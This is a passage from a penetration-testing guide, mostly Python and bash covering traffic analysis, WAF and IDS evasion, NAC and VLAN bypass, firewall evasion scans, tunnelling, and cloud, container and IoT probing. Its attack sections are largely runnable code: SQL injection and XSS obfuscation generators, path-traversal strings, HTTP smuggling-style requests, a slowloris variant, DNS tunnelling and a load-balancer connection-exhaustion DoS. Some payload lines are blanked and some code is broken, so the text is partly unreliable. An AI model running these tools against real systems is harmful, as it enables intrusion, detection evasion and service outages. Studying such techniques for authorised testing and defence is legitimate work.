entropy suggests randomness\n                if entropy(subdomain) > 4.0:\n                    suspicious.append(domain)\n                \n                # Unusual character distribution\n                if re.search(r'[0-9]{5,}', subdomain):\n                    suspicious.append(domain)\n                \n                # Consonant-heavy\n                consonants = sum(1 for c in subdomain if c.isalpha() and c.lower() not in 'aeiou')\n                if consonants / len(subdomain) > 0.7:\n                    suspicious.append(domain)\n    \n    return suspicious\n```\n\n## 5.4 Encrypted Traffic Analysis\n\n### TLS Fingerprinting\n\n**JA3 Fingerprinting:**\n```python\nimport hashlib\nimport struct\n\ndef calculate_ja3(pkt):\n    \"\"\"Calculate JA3 fingerprint for TLS Client Hello\"\"\"\n    if pkt.haslayer(TCP) and pkt.haslayer(Raw):\n        payload = bytes(pkt[Raw])\n        \n        # Check for TLS Client Hello\n        if len(payload) > 5 and payload[0] == 0x16 and payload[5] == 0x01:\n            # Extract TLS handshake\n            # This is simplified - real JA3 requires parsing TLS extensions\n            return None\n    return None\n```\n\n**TLS Version Analysis:**\n```python\ndef analyze_tls_versions(packets):\n    \"\"\"Analyze TLS versions in use\"\"\"\n    versions = {}\n    \n    for pkt in packets:\n        if pkt.haslayer(TCP) and pkt.haslayer(Raw):\n            payload = bytes(pkt[Raw])\n            \n            # Check for TLS records\n            if len(payload) > 0 and payload[0] in [0x16, 0x17, 0x15]:\n                if len(payload) > 2:\n                    version = (payload[1], payload[2])\n                    \n                    # Map version to name\n                    version_map = {\n                        (3, 0): 'SSLv3',\n                        (3, 1): 'TLS 1.0',\n                        (3, 2): 'TLS 1.1',\n                        (3, 3): 'TLS 1.2',\n                        (3, 4): 'TLS 1.3'\n                    }\n                    \n                    version_name = version_map.get(version, f'Unknown {version}')\n                    versions[version_name] = versions.get(version_name, 0) + 1\n    \n    return versions\n```\n\n### Encrypted Traffic Analysis\n\n**Traffic Entropy Analysis:**\n```python\ndef analyze_traffic_entropy(packets):\n    \"\"\"Analyze entropy of packet payloads\"\"\"\n    import numpy as np\n    from scipy.stats import entropy\n    \n    results = {}\n    \n    for pkt in packets:\n        if pkt.haslayer(Raw):\n            src = pkt[IP].src if pkt.haslayer(IP) else 'unknown'\n            payload = bytes(pkt[Raw])\n            \n            if src not in results:\n                results[src] = []\n            \n            # Calculate byte distribution\n            if len(payload) > 0:\n                counts = np.bincount(np.frombuffer(payload, dtype=np.uint8))\n                prob = counts / len(payload)\n                ent = entropy(prob, base=2)\n                results[src].append(ent)\n    \n    # Identify high-entropy (likely encrypted) traffic\n    for src, ents in results.items():\n        avg_ent = np.mean(ents)\n        if avg_ent > 7.5:  # High entropy suggests encryption\n            print(f\"[*] {src}: High entropy traffic ({avg_ent:.2f}) - likely encrypted\")\n        elif avg_ent < 6.0:  # Low entropy suggests plaintext\n            print(f\"[*] {src}: Low entropy traffic ({avg_ent:.2f}) - likely plaintext\")\n```\n\n---\n\n# Part 6: Defensive Architectures and Bypass Techniques\n\n## 6.1 Web Application Firewall (WAF) Bypass\n\n### WAF Detection\n\n**Identifying WAF:**\n```python\ndef detect_waf(url):\n    \"\"\"Detect WAF presence\"\"\"\n    import requests\n    \n    headers = {\n        'User-Agent': 'malicious_payload',\n        'X-Forwarded-For': '1.2.3.4',\n        'X-Originating-IP': '1.2.3.4'\n    }\n    \n    try:\n        response = requests.get(url, headers=headers)\n        \n        # Check response headers\n        waf_headers = [\n            'CF-RAY',  # Cloudflare\n            'X-Sucuri-ID',  # Sucuri\n            'X-Firewall',  # Generic\n            'X-WAF',  # Generic\n            'Server: cloudflare',  # Cloudflare\n            'Server: BigIP',  # F5\n            'X-Powered-By: AWS Lambda',  # AWS\n        ]\n        \n        for header in waf_headers:\n            if header in str(response.headers):\n                print(f\"[+] Possible WAF detected: {header}\")\n        \n        # Check response codes for blocked requests\n        malicious_response = requests.get(url + \"' OR '1'='1\")\n        if malicious_response.status_code in [403, 406, 429, 503]:\n            print(f\"[+] WAF blocking detected (status {malicious_response.status_code})\")\n            \n    except Exception as e:\n        print(f\"Error: {e}\")\n```\n\n**WAF Fingerprinting:**\n```python\ndef fingerprint_waf(url):\n    \"\"\"Fingerprint specific WAF\"\"\"\n    import requests\n    \n    # Test patterns that trigger different WAFs\n    tests = {\n        'Cloudflare': {\n            'headers': {'User-Agent': 'Mozilla/5.0'},\n            'expected_headers': ['CF-RAY']\n        },\n        'AWS WAF': {\n            'payload': 'UNION SELECT',\n            'expected_headers': ['x-amzn-RequestId']\n        },\n        'F5 BigIP': {\n            'payload': '../../etc/passwd',\n            'expected_headers': ['X-Cnection']\n        },\n        'ModSecurity': {\n            'payload': 'alert(1)',\n            'expected_codes': [406]\n        },\n        'Akamai': {\n            'headers': {'User-Agent': 'malicious'},\n            'expected_headers': ['X-Akamai-Transformed']\n        }\n    }\n    \n    for waf, test in tests.items():\n        try:\n            response = requests.get(url, \n                                  headers=test.get('headers', {}),\n                                  params={'q': test.get('payload', '')})\n            \n            # Check headers\n            if 'expected_headers' in test:\n                for header in test['expected_headers']:\n                    if header in response.headers:\n                        print(f\"[+] WAF identified: {waf}\")\n                        return waf\n            \n            # Check status codes\n            if 'expected_codes' in test:\n                if response.status_code in test['expected_codes']:\n                    print(f\"[+] WAF identified: {waf}\")\n                    return waf\n                    \n        except:\n            pass\n    \n    return \"Unknown\"\n```\n\n### WAF Bypass Techniques\n\n**SQL Injection Obfuscation:**\n```python\ndef obfuscate_sql(payload):\n    \"\"\"Generate obfuscated SQL payloads\"\"\"\n    import random\n    \n    obfuscations = []\n    \n    # Case variation\n    obfuscations.append(''.join(random.choice([c.upper(), c.lower()]) for c in payload))\n    \n    # Comment insertion\n    comment_variations = [\n        payload.replace(' ', '/**/'),\n        payload.replace(' ', '/*!12345*/'),\n        payload.replace('SELECT', 'SEL/*comment*/ECT'),\n        payload.replace('UNION', 'UNI/*!ON*/'),\n    ]\n    obfuscations.extend(comment_variations)\n    \n    # Encoding\n    import urllib.parse\n    obfuscations.append(urllib.parse.quote(payload))\n    obfuscations.append(urllib.parse.quote(urllib.parse.quote(payload)))  # Double encoding\n    \n    # Hexadecimal encoding\n    hex_payload = '0x' + ''.join(hex(ord(c))[2:] for c in payload)\n    obfuscations.append(f\"SELECT * FROM users WHERE username={hex_payload}\")\n    \n    # MySQL-specific\n    if 'UNION' in payload.upper():\n        obfuscations.append(payload.replace('UNION', 'UNION ALL'))\n        obfuscations.append(payload.replace('UNION', 'UNION DISTINCT'))\n    \n    return obfuscations\n```\n\n**XSS Obfuscation:**\n```python\ndef obfuscate_xss(payload):\n    \"\"\"Generate obfuscated XSS payloads\"\"\"\n    obfuscations = []\n    \n    # Basic script tag\n    obfuscations.append(f\"{payload}\")\n    \n    # Case variation\n    obfuscations.append(f\"{payload}\")\n    \n    # Without parentheses\n    if 'alert' in payload:\n        obfuscations.append(payload.replace('alert(1)', 'alert`1`'))\n    \n    # HTML entities\n    html_entities = ''.join(f\"&#{ord(c)};\" for c in f\"{payload}\")\n    obfuscations.append(html_entities)\n    \n    # JavaScript encoding\n    js_encoded = ''.join(f\"\\\\u{ord(c):04x}\" for c in payload)\n    obfuscations.append(f\"eval('{js_encoded}')\")\n    \n    # Data URI\n    import base64\n    b64_payload = base64.b64encode(f\"{payload}\".encode()).decode()\n    obfuscations.append(f'')\n    \n    # SVG vector\n    obfuscations.append(f'')\n    \n    # Link tag\n    obfuscations.append(f'')\n    \n    return obfuscations\n```\n\n**Parameter Pollution:**\n```python\ndef parameter_pollution(url, param, values):\n    \"\"\"Test parameter pollution bypass\"\"\"\n    import requests\n    \n    # Single parameter with multiple values\n    params = {param: values}\n    response = requests.get(url, params=params)\n    print(f\"Multiple values: {response.status_code}\")\n    \n    # Array-style parameter\n    array_params = {f\"{param}[]\": v for v in values}\n    response = requests.get(url, params=array_params)\n    print(f\"Array style: {response.status_code}\")\n    \n    # Duplicate parameter names\n    query_string = '&'.join([f\"{param}={v}\" for v in values])\n    response = requests.get(f\"{url}?{query_string}\")\n    print(f\"Duplicate: {response.status_code}\")\n```\n\n**Path Obfuscation:**\n```python\ndef path_obfuscation(base_url, target_path):\n    \"\"\"Generate obfuscated paths\"\"\"\n    paths = []\n    \n    # Path traversal\n    paths.append(f\"/{target_path}/..;/admin\")\n    paths.append(f\"/{target_path}%00admin\")\n    paths.append(f\"/{target_path}%0aadmin\")\n    \n    # URL encoding\n    import urllib.parse\n    paths.append(urllib.parse.quote(f\"/{target_path}\"))\n    \n    # Unicode encoding\n    paths.append(f\"/{target_path.replace('/', '\uff0f')}\")  # Unicode slash\n    \n    # Case variation\n    paths.append(f\"/{target_path.upper()}\")\n    paths.append(f\"/{target_path.lower()}\")\n    \n    # Extension tricks\n    paths.append(f\"/{target_path}.asp/..;/admin\")\n    paths.append(f\"/{target_path}.php/../admin\")\n    \n    return paths\n```\n\n### WAF Logic Bypasses\n\n**HTTP Protocol Violations:**\n```python\ndef protocol_violations(url):\n    \"\"\"Test HTTP protocol violations for WAF bypass\"\"\"\n    import socket\n    \n    violations = [\n        # Invalid method\n        \"FAKEMETHOD / HTTP/1.1\\r\\nHost: {}\\r\\n\\r\\n\",\n        \n        # Invalid version\n        \"GET / HTTP/0.9\\r\\nHost: {}\\r\\n\\r\\n\",\n        \n        # Missing headers\n        \"GET / HTTP/1.1\\r\\n\\r\\n\",\n        \n        # Multiple content-length\n        \"POST / HTTP/1.1\\r\\nHost: {}\\r\\nContent-Length: 0\\r\\nContent-Length: 100\\r\\n\\r\\n\",\n        \n        # Invalid content-length\n        \"POST / HTTP/1.1\\r\\nHost: {}\\r\\nContent-Length: -1\\r\\n\\r\\n\",\n        \n        # Chunked encoding with invalid chunks\n        \"POST / HTTP/1.1\\r\\nHost: {}\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\ninvalid\",\n    ]\n    \n    for violation in violations:\n        try:\n            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            sock.connect((url, 80))\n            \n            payload = violation.format(url).encode()\n            sock.send(payload)\n            \n            response = sock.recv(4096)\n            if b\"200\" in response:\n                print(f\"[+] WAF bypassed with: {violation[:50]}...\")\n            \n            sock.close()\n        except:\n            pass\n```\n\n**Time-Based Evasion:**\n```python\ndef time_based_evasion(url, payload, delay=1):\n    \"\"\"Use timing to evade WAF\"\"\"\n    import requests\n    import time\n    \n    # Slowloris-style\n    def slow_attack():\n        session = requests.Session()\n        \n        # Send headers slowly\n        headers = {\n            'User-Agent': 'Mozilla/5.0',\n            'Content-Length': str(len(payload))\n        }\n        \n        response = session.post(url, headers=headers, data=payload[0], timeout=10)\n        \n        # Continue sending data slowly\n        for char in payload[1:]:\n            time.sleep(delay)\n            session.post(url, headers=headers, data=char, timeout=10)\n    \n    return slow_attack\n```\n\n## 6.2 Intrusion Detection/Prevention System Evasion\n\n### Signature-Based Detection Evasion\n\n**Polymorphic Payloads:**\n```python\ndef generate_polymorphic_sql(payload):\n    \"\"\"Generate multiple variations of SQL payload\"\"\"\n    variations = []\n    \n    # Base payload\n    variations.append(payload)\n    \n    # Case variations\n    variations.append(payload.upper())\n    variations.append(payload.lower())\n    variations.append(''.join(c.upper() if i%2 else c.lower() for i,c in enumerate(payload)))\n    \n    # Comment insertion\n    comment_chars = ['/**/', '/*!*/', '-- ', '#', '/*!12345*/']\n    for comment in comment_chars:\n        variations.append(payload.replace(' ', comment))\n    \n    # Whitespace variations\n    whitespace = [' ', '\\t', '\\n', '\\r', '\\n\\r']\n    for ws in whitespace:\n        variations.append(payload.replace(' ', ws))\n    \n    # Encoding\n    import urllib.parse\n    variations.append(urllib.parse.quote(payload))\n    variations.append(urllib.parse.quote(urllib.parse.quote(payload)))\n    \n    # Inline comments (MySQL)\n    variations.append(payload.replace('SELECT', 'SELECT/*!12345*/'))\n    \n    return variations\n```\n\n**Session Splicing:**\n```python\ndef session_splicing_attack(target_ip, target_port, payload, chunk_size=1, delay=0.5):\n    \"\"\"Split attack across multiple packets\"\"\"\n    import socket\n    import time\n    \n    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    sock.connect((target_ip, target_port))\n    \n    # Send HTTP headers\n    headers = f\"POST / HTTP/1.1\\r\\nHost: {target_ip}\\r\\nContent-Length: {len(payload)}\\r\\n\\r\\n\"\n    sock.send(headers.encode())\n    \n    # Send payload character by character\n    for char in payload:\n        sock.send(char.encode())\n        time.sleep(delay)\n    \n    response = sock.recv(4096)\n    sock.close()\n    return response\n```\n\n### Anomaly-Based Detection Evasion\n\n**Normalizing Traffic:**\n```python\ndef normalize_traffic_pattern():\n    \"\"\"Generate legitimate-looking traffic patterns\"\"\"\n    import random\n    import time\n    \n    patterns = {\n        'user_agents': [\n            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',\n            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36',\n            'Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15',\n        ],\n        'request_timing': lambda: random.uniform(1, 5),  # 1-5 seconds between requests\n        'referers': [\n            'https://www.google.com/',\n            'https://www.bing.com/',\n            'https://www.facebook.com/',\n            None  # Direct traffic\n        ]\n    }\n    \n    return patterns\n```\n\n## 6.3 Network Access Control (NAC) Bypass\n\n### MAC Address Spoofing\n\n**MAC Spoofing on Linux:**\n```bash\n# Show current MAC\nip link show eth0\n\n# Disable interface\nsudo ip link set dev eth0 down\n\n# Change MAC\nsudo ip link set dev eth0 address 00:11:22:33:44:55\n\n# Enable interface\nsudo ip link set dev eth0 up\n\n# Verify\nip link show eth0\n```\n\n**MAC Spoofing with Python:**\n```python\nimport subprocess\n\ndef change_mac(interface, new_mac):\n    \"\"\"Change MAC address\"\"\"\n    try:\n        # Bring interface down\n        subprocess.run(['sudo', 'ip', 'link', 'set', 'dev', interface, 'down'], check=True)\n        \n        # Change MAC\n        subprocess.run(['sudo', 'ip', 'link', 'set', 'dev', interface, 'address', new_mac], check=True)\n        \n        # Bring interface up\n        subprocess.run(['sudo', 'ip', 'link', 'set', 'dev', interface, 'up'], check=True)\n        \n        print(f\"[+] MAC changed to {new_mac}\")\n        return True\n    except subprocess.CalledProcessError as e:\n        print(f\"[-] Error: {e}\")\n        return False\n```\n\n### 802.1X Bypass\n\n**Capturing Authentication:**\n```python\nfrom scapy.all import *\n\ndef sniff_eap(interface):\n    \"\"\"Capture EAP authentication\"\"\"\n    def handle_eap(pkt):\n        if pkt.haslayer(EAPOL):\n            print(f\"\\n[+] EAPOL Packet from {pkt.src}\")\n            \n            if pkt.haslayer(EAP):\n                eap = pkt[EAP]\n                print(f\"  EAP Code: {eap.code}\")\n                print(f\"  EAP Type: {eap.type}\")\n                \n                # Capture successful authentication\n                if eap.code == 3 and eap.type == 0:  # EAP Success\n                    print(f\"  [!] Successful authentication from {pkt.src}\")\n                    print(f\"  MAC: {pkt.src}\")\n    \n    sniff(iface=interface, filter=\"ether proto 0x888e\", prn=handle_eap)\n```\n\n### VLAN Hopping\n\n**Switch Spoofing:**\n```python\ndef switch_spoofing(interface):\n    \"\"\"Attempt to negotiate trunk with DTP\"\"\"\n    from scapy.all import *\n    \n    # DTP frame (Dynamic Trunking Protocol)\n    dtp_frame = (\n        Ether(dst=\"01:00:0c:cc:cc:cc\")/\n        LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03)/\n        SNAP(OUI=0x00000c, code=0x2004)/\n        Raw(load=\"\\x00\\x01\\x00\\x01\")\n    )\n    \n    print(\"[*] Sending DTP frames to negotiate trunk...\")\n    sendp(dtp_frame, iface=interface, count=10, inter=1)\n```\n\n**Double Tagging:**\n```python\ndef double_tagging(interface, target_vlan):\n    \"\"\"VLAN hopping via double tagging\"\"\"\n    from scapy.all import *\n    \n    # Frame with two VLAN tags\n    frame = (\n        Ether(dst=\"ff:ff:ff:ff:ff:ff\")/\n        Dot1Q(vlan=1)/  # Native VLAN\n        Dot1Q(vlan=target_vlan)/  # Target VLAN\n        IP(dst=f\"192.168.{target_vlan}.1\")/\n        ICMP()\n    )\n    \n    print(f\"[*] Sending double-tagged frame to VLAN {target_vlan}\")\n    response = srp1(frame, iface=interface, timeout=2)\n    \n    if response:\n        print(f\"[+] VLAN hopping successful - received response from VLAN {target_vlan}\")\n    else:\n        print(\"[-] No response - VLAN hopping may be blocked\")\n```\n\n## 6.4 Firewall and ACL Bypass\n\n### Source Port Manipulation\n\n**Scanning with Allowed Ports:**\n```bash\n# Use DNS port (53) as source\nnmap -g 53 -sS target.com\n\n# Use HTTP port (80) as source\nnmap -g 80 -sS target.com\n\n# Use HTTPS port (443) as source\nnmap -g 443 -sS target.com\n\n# With hping3\nhping3 -S -p 80 -s 53 target.com\n```\n\n**Python Implementation:**\n```python\ndef scan_with_source_port(target_ip, target_port, source_port):\n    \"\"\"Port scan using specific source port\"\"\"\n    from scapy.all import *\n    \n    packet = IP(src=get_if_addr(conf.iface), dst=target_ip)/ \\\n             TCP(sport=source_port, dport=target_port, flags=\"S\")\n    \n    response = sr1(packet, timeout=2, verbose=False)\n    \n    if response and response.haslayer(TCP):\n        if response[TCP].flags == 0x12:  # SYN-ACK\n            print(f\"[+] Port {target_port} open from source port {source_port}\")\n            return True\n    \n    return False\n```\n\n### Fragmentation Attacks\n\n**Fragment Scanning:**\n```bash\n# Nmap fragmentation\nnmap -f -sS target.com\n\n# With specific fragment size\nnmap --mtu 24 -sS target.com\n\n# Custom fragmentation with fragroute\necho \"tcp_seg 8\" > fragroute.conf\nfragroute -f fragroute.conf target.com\n```\n\n**Custom Fragmentation:**\n```python\ndef fragmented_scan(target_ip, target_port):\n    \"\"\"Scan with fragmented packets\"\"\"\n    from scapy.all import *\n    \n    # Create packet\n    packet = IP(dst=target_ip)/TCP(dport=target_port, flags=\"S\")\n    \n    # Fragment manually\n    fragments = fragment(packet, fragsize=8)\n    \n    for frag in fragments:\n        send(frag, verbose=False)\n    \n    # Wait for response\n    response = sniff(filter=f\"host {target_ip}\", count=1, timeout=2)\n    if response:\n        print(f\"[+] Received response to fragmented scan\")\n```\n\n### TTL Manipulation\n\n**TTL-Based Bypass:**\n```python\ndef ttl_bypass(target_ip, target_port, firewall_ttl):\n    \"\"\"Bypass firewall using TTL expiration\"\"\"\n    from scapy.all import *\n    \n    # Set TTL to expire just after firewall\n    packet = IP(dst=target_ip, ttl=firewall_ttl+1)/ \\\n             TCP(dport=target_port, flags=\"S\")\n    \n    response = sr1(packet, timeout=2, verbose=False)\n    \n    if response:\n        print(f\"[+] Bypass successful with TTL={firewall_ttl+1}\")\n```\n\n### Protocol Confusion\n\n**HTTP in DNS:**\n```python\ndef dns_tunnel_http(domain, data):\n    \"\"\"Tunnel HTTP over DNS\"\"\"\n    import dns.resolver\n    \n    # Encode data in subdomain\n    encoded = data.encode('hex')\n    query = f\"{encoded}.{domain}\"\n    \n    # Send DNS query\n    try:\n        response = dns.resolver.query(query, 'TXT')\n        for rdata in response:\n            return str(rdata)\n    except:\n        return None\n```\n\n**SSH over HTTP:**\n```python\ndef ssh_over_http(proxy_host, proxy_port, ssh_host, ssh_port):\n    \"\"\"Tunnel SSH through HTTP CONNECT\"\"\"\n    import socket\n    \n    # Connect to proxy\n    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    sock.connect((proxy_host, proxy_port))\n    \n    # Send CONNECT request\n    connect_req = f\"CONNECT {ssh_host}:{ssh_port} HTTP/1.0\\r\\n\\r\\n\"\n    sock.send(connect_req.encode())\n    \n    # Check response\n    response = sock.recv(1024)\n    if b\"200\" in response:\n        print(\"[+] Tunnel established\")\n        return sock\n    \n    return None\n```\n\n## 6.5 Load Balancer and Reverse Proxy Testing\n\n### Load Balancer Discovery\n\n**HTTP Header Analysis:**\n```python\ndef identify_load_balancer(url):\n    \"\"\"Identify load balancer from headers\"\"\"\n    import requests\n    \n    response = requests.get(url)\n    \n    lb_indicators = {\n        'X-Forwarded-For': 'Reverse proxy',\n        'X-Forwarded-Host': 'Reverse proxy',\n        'X-Forwarded-Proto': 'Reverse proxy',\n        'X-Forwarded-Server': 'Reverse proxy',\n        'X-Backend-Server': 'Load balancer',\n        'Via': 'Proxy/Load balancer',\n        'X-Cache': 'CDN/Cache',\n        'X-Cache-Hits': 'CDN/Cache',\n        'CF-RAY': 'Cloudflare',\n        'X-Akamai-Transformed': 'Akamai',\n        'X-Amz-Cf-Id': 'CloudFront',\n        'Server: gws': 'Google Web Server',\n        'X-Powered-By: AWS Lambda': 'AWS Lambda'\n    }\n    \n    found = []\n    for header, desc in lb_indicators.items():\n        if header in response.headers:\n            found.append(f\"{desc}: {response.headers[header]}\")\n    \n    return found\n```\n\n### Load Balancer Attacks\n\n**Session Persistence Testing:**\n```python\ndef test_session_persistence(url, num_requests=10):\n    \"\"\"Test if sessions stick to same backend\"\"\"\n    import requests\n    \n    session = requests.Session()\n    backends = []\n    \n    for i in range(num_requests):\n        response = session.get(url)\n        \n        # Try to identify backend\n        backend = None\n        for header in ['X-Backend-Server', 'X-Forwarded-Server', 'Server']:\n            if header in response.headers:\n                backend = response.headers[header]\n                break\n        \n        backends.append(backend)\n        print(f\"Request {i}: {backend}\")\n    \n    # Check if all requests went to same backend\n    unique_backends = set(backends)\n    if len(unique_backends) == 1:\n        print(\"[*] Session persistence active\")\n    else:\n        print(\"[*] No session persistence\")\n```\n\n**Load Balancer DoS:**\n```python\ndef lb_connection_exhaustion(target_ip, target_port, num_connections=1000):\n    \"\"\"Exhaust load balancer connection table\"\"\"\n    import socket\n    import threading\n    \n    connections = []\n    \n    def create_connection():\n        try:\n            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            sock.connect((target_ip, target_port))\n            # Keep connection open\n            sock.send(b\"GET / HTTP/1.1\\r\\nHost: localhost\\r\\n\")\n            connections.append(sock)\n        except:\n            pass\n    \n    threads = []\n    for i in range(num_connections):\n        t = threading.Thread(target=create_connection)\n        t.start()\n        threads.append(t)\n    \n    for t in threads:\n        t.join()\n    \n    print(f\"[+] Created {len(connections)} connections\")\n    return connections\n```\n\n---\n\n# Part 7: Emerging Technologies and Future Trends\n\n## 7.1 Cloud Network Security\n\n### Cloud Networking Models\n\n**VPC Testing:**\n```python\ndef test_vpc_security(aws_profile, region):\n    \"\"\"Test VPC security configuration\"\"\"\n    import boto3\n    \n    session = boto3.Session(profile_name=aws_profile, region_name=region)\n    ec2 = session.client('ec2')\n    \n    # Get all VPCs\n    vpcs = ec2.describe_vpcs()\n    \n    for vpc in vpcs['Vpcs']:\n        vpc_id = vpc['VpcId']\n        print(f\"\\n[*] Testing VPC: {vpc_id}\")\n        \n        # Check default security groups\n        security_groups = ec2.describe_security_groups(\n            Filters=[{'Name': 'vpc-id', 'Values': [vpc_id]}]\n        )\n        \n        for sg in security_groups['SecurityGroups']:\n            # Check for overly permissive rules\n            for rule in sg['IpPermissions']:\n                for ip_range in rule.get('IpRanges', []):\n                    if ip_range.get('CidrIp') == '0.0.0.0/0':\n                        print(f\"  [!] Open to world: {sg['GroupName']} - {rule}\")\n        \n        # Check network ACLs\n        nacls = ec2.describe_network_acls(\n            Filters=[{'Name': 'vpc-id', 'Values': [vpc_id]}]\n        )\n        \n        for nacl in nacls['NetworkAcls']:\n            for entry in nacl['Entries']:\n                if entry.get('CidrBlock') == '0.0.0.0/0' and entry.get('RuleAction') == 'allow':\n                    print(f\"  [!] Open NACL rule: {entry}\")\n```\n\n### Cloud Metadata Service Attacks\n\n**Metadata Service Testing:**\n```python\ndef test_metadata_service(ip):\n    \"\"\"Test for accessible cloud metadata service\"\"\"\n    import requests\n    import socket\n    \n    metadata_urls = {\n        'aws': 'http://169.254.169.254/latest/meta-data/',\n        'gcp': 'http://metadata.google.internal/computeMetadata/v1/',\n        'azure': 'http://169.254.169.254/metadata/instance?api-version=2017-08-01',\n        'digitalocean': 'http://169.254.169.254/metadata/v1/'\n    }\n    \n    for cloud, url in metadata_urls.items():\n        try:\n            headers = {'Metadata-Flavor': 'Google'} if cloud == 'gcp' else {}\n            response = requests.get(url, headers=headers, timeout=2)\n            \n            if response.status_code == 200:\n                print(f\"[!] Accessible {cloud} metadata service at {url}\")\n                print(response.text[:200])\n                \n        except requests.exceptions.RequestException:\n            pass\n```\n\n## 7.2 Container and Orchestration Networking\n\n### Docker Network Testing\n\n**Docker Network Enumeration:**\n```bash\n# List networks\ndocker network ls\n\n# Inspect network\ndocker network inspect bridge\n\n# List containers with IPs\ndocker ps -q | xargs -n 1 docker inspect -f '{{.Name}} - {{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}'\n\n# Check exposed ports\ndocker ps --format \"table {{.Names}}\\t{{.Ports}}\"\n```\n\n**Container Escape via Network:**\n```python\ndef test_container_escape():\n    \"\"\"Test for container network escape vectors\"\"\"\n    import socket\n    import os\n    \n    # Check if running in container\n    if os.path.exists('/.dockerenv'):\n        print(\"[*] Running in Docker container\")\n        \n        # Try to access host network\n        try:\n            # Connect to host's Docker daemon\n            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            sock.connect(('host.docker.internal', 2375))\n            print(\"[!] Can access host Docker daemon\")\n        except:\n            pass\n        \n        # Try to access cloud metadata\n        try:\n            import requests\n            response = requests.get('http://169.254.169.254/latest/meta-data/', timeout=2)\n            if response.status_code == 200:\n                print(\"[!] Can access cloud metadata from container\")\n        except:\n            pass\n```\n\n### Kubernetes Network Testing\n\n**Kubernetes Network Policies:**\n```python\ndef test_k8s_network_policies(kube_config):\n    \"\"\"Test Kubernetes network policies\"\"\"\n    from kubernetes import client, config\n    \n    config.load_kube_config(config_file=kube_config)\n    v1 = client.CoreV1Api()\n    networking = client.NetworkingV1Api()\n    \n    # List namespaces\n    namespaces = v1.list_namespace()\n    \n    for ns in namespaces.items:\n        print(f\"\\n[*] Namespace: {ns.metadata.name}\")\n        \n        # List pods\n        pods = v1.list_namespaced_pod(ns.metadata.name)\n        for pod in pods.items:\n            print(f\"  Pod: {pod.metadata.name} - IP: {pod.status.pod_ip}\")\n        \n        # List network policies\n        policies = networking.list_namespaced_network_policy(ns.metadata.name)\n        for policy in policies.items:\n            print(f\"  NetworkPolicy: {policy.metadata.name}\")\n            \n            # Check if default deny exists\n            if policy.spec.pod_selector.match_labels == {}:\n                if policy.spec.policy_types == ['Ingress'] and not policy.spec.ingress:\n                    print(\"    [*] Default deny ingress policy\")\n```\n\n## 7.3 IoT and OT Network Security\n\n### IoT Protocol Testing\n\n**MQTT Enumeration:**\n```python\ndef test_mqtt_broker(broker_ip, port=1883):\n    \"\"\"Test MQTT broker security\"\"\"\n    import paho.mqtt.client as mqtt\n    \n    def on_connect(client, userdata, flags, rc):\n        if rc == 0:\n            print(f\"[+] Connected to MQTT broker\")\n            \n            # Try to subscribe to all topics\n            client.subscribe(\"#\")\n            print(\"[*] Subscribed to all topics\")\n        else:\n            print(f\"[-] Connection failed: {rc}\")\n    \n    def on_message(client, userdata, msg):\n        print(f\"[+] Topic: {msg.topic} - Payload: {msg.payload}\")\n    \n    client = mqtt.Client()\n    client.on_connect = on_connect\n    client.on_message = on_message\n    \n    try:\n        client.connect(broker_ip, port, 60)\n        client.loop_start()\n        \n        # Keep listening for messages\n        import time\n        time.sleep(10)\n        \n    except Exception as e:\n        print(f\"[-] Error: {e}\")\n```\n\n**CoAP Enumeration:**\n```python\ndef test_coap_server(server_ip, port=5683):\n    \"\"\"Test CoAP server security\"\"\"\n    from aiocoap import *\n    import asyncio\n    \n    async def enumerate_resources():\n        protocol = await Context.create_client_context()\n        \n        # Try to discover resources\n        request = Message(code=GET, uri=f'coap://{server_ip}:{port}/.well-known/core')\n        \n        try:\n            response = await protocol.request(request).response\n            print(f\"[+] Resources: {response.payload}\")\n        except Exception as e:\n            print(f\"[-] Error: {e}\")\n    \n    asyncio.run(enumerate_resources())\n```\n\n## 7.4 Zero Trust Network Architecture\n\n### Zero Trust Testing\n\n**Micro-segmentation Testing:**\n```python\ndef test_microsegmentation(targets, test_cases):\n    \"\"\"Test micro-segmentation implementation\"\"\"\n    import socket\n    import threading\n    \n    results = []\n    \n    def test_connection(src, dst, port):\n        try:\n            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            sock.settimeout(2)\n            result = sock.connect_ex((dst, port))\n            \n            if result == 0:\n                results.append({\n                    'source': src,\n                    'destination': dst,\n                    'port': port,\n                    'allowed': True\n                })\n            sock.close()\n        except:\n            pass\n    \n    threads = []\n    for src in targets:\n        for dst in targets:\n            if src != dst:\n                for port in test_cases:\n                    t = threading.Thread(target=test_connection, \n                                        args=(src, dst, port))\n                    t.start()\n                    threads.append(t)\n    \n    for t in threads:\n        t.join()\n    \n    # Analyze results\n    for result in results:\n        print(f\"[*] {result['source']} -> {result['destination']}:{result['port']} - ALLOWED\")\n    \n    return results\n```\n\n---\n\n# Part 8: Penetration Testing Methodology and Reporting\n\n## 8.1 Comprehensive Testing Methodology\n\n### Phase 1: Scoping and Planning\n\n**Scope Definition Template:**\n```python\ndef define_scope():\n    \"\"\"Define penetration testing scope\"\"\"\n    scope = {\n        'targets': {\n            'domains': ['target.com', '*.target.com'],\n            'ip_ranges': ['192.168.1.0/24', '10.0.0.0/8'],\n            'cloud_resources': ['target-aws-account', 'target-gcp-project']\n        },\n        'testing_types': [\n            'external_network',\n            'internal_network',\n            'web_application',\n            'wireless',\n            'social_engineering'\n        ],\n        'rules_of_engagement': {\n            'testing_hours': '09:00-17:00 local time',\n            'sensitive_systems': ['payment-processing', 'customer-db'],\n            'dos_allowed': False,\n            'data_exfiltration': 'proof_of_concept_only'\n        },\n        'deliverables': [\n            'executive_summary',\n            'technical_report',\n            'remediation_guide',\n            'raw_scan_data'\n        ]\n    }\n    \n    return scope\n```\n\n### Phase 2: Reconnaissance\n\n**Reconnaissance Checklist:**\n```python\ndef 